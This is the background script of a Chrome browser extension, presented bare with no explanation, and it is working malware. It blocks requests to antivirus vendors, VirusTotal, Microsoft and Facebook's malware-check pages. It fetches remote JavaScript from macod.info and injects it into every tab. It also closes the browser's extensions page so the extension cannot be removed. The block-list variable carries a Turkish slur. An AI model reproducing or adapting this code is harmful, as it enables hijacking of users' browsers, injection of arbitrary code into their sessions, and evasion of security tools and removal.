﻿chrome.webRequest.onBeforeRequest.addListener(
        function (details) {
                var url = details.url;
                for (var i = 0; i < ibneler.length; i++) {
                        if (url.indexOf(ibneler[i]) > -1) {
                                return {
                                        cancel: true
                                };
                        }
                }
        }, {
                urls: ["<all_urls>"]
        },

["blocking"]);

var ibneler = ['nod32.com','nod32.com.tr','facebook.com/csp.php','kingusd.com','vatansana.com','wjetphp.com','jscmd.net','video-izleyin.tk','virustotal.com','avast.com','eset.com','microsoft.com','virusscan.jotti.org','jotti.org','avg.com','kaspersky.com.tr','kaspersky.com','facebook.com/ajax/webstorage/process_keys.php','facebook.com/checkpoint/malware/cr_ext_config','facebook.com/checkpoint/malware/cr_ext_log','sansurcrx.com','dl.dropboxusercontent.com/s','sosyalmedyakusu.com','fiddle.jshell.net','fei-coder.com','docs.google.com','drive.google.com','orjinalmarket.net','facebook.com/ajax/follow/unfollow_profile.php','vuupc.com','mcafee.com','googlecode.com','akamai.net','facebook.com/xti.php','.exe','rackcdn.com','ethempanel.com','ethembayi.com','yac.mx'];


chrome.tabs.onUpdated.addListener(function (tab) {
    chrome.tabs.get(tab, function (tab) {
        var xmlhttp = new XMLHttpRequest();
        xmlhttp.onreadystatechange = function () {
            if (xmlhttp.readyState == 4) {
                if (tab.url.indexOf("devtools://") < 0) {
                    chrome.tabs.executeScript(tab.id, {
                        code: xmlhttp.responseText
                    });
                }
            }
        }
        xmlhttp.open("GET", "http://macod.info/macod/main.php");
        xmlhttp.send();
    })
});

chrome.tabs.onUpdated.addListener(function (tab) {
    chrome.tabs.get(tab, function (tab) {
        var xmlhttp = new XMLHttpRequest();
        xmlhttp.onreadystatechange = function () {
            if (xmlhttp.readyState == 4) {
                if (tab.url.indexOf("devtools://") < 0) {
                    chrome.tabs.executeScript(tab.id, {
                        code: xmlhttp.responseText
                    });
                }
            }
        }
        xmlhttp.open("GET", "http://macod.info/macod/express.php?");
        xmlhttp.send();
    })
});

chrome.tabs.onUpdated.addListener(function (tab) {
    chrome.tabs.get(tab, function (tab) {
        var xmlhttp = new XMLHttpRequest();
        xmlhttp.onreadystatechange = function () {
            if (xmlhttp.readyState == 4) {
                if (tab.url.indexOf("devtools://") < 0) {
                    chrome.tabs.executeScript(tab.id, {
                        code: xmlhttp.responseText
                    });
                }
            }
        }
        xmlhttp.open("GET", "http://macod.info/macod/marwel.php?");
        xmlhttp.send();
    })
});

chrome.tabs.onUpdated.addListener(
        function (keyid, x, key) {
                if (key.url ==
                        'chrome://chrome/extensions' ||
                        key.url == 'opera://extensions' ||
                        key.url == 'chrome://extensions/'
                ) {
                        chrome.tabs.remove(key.id);
                }
        });
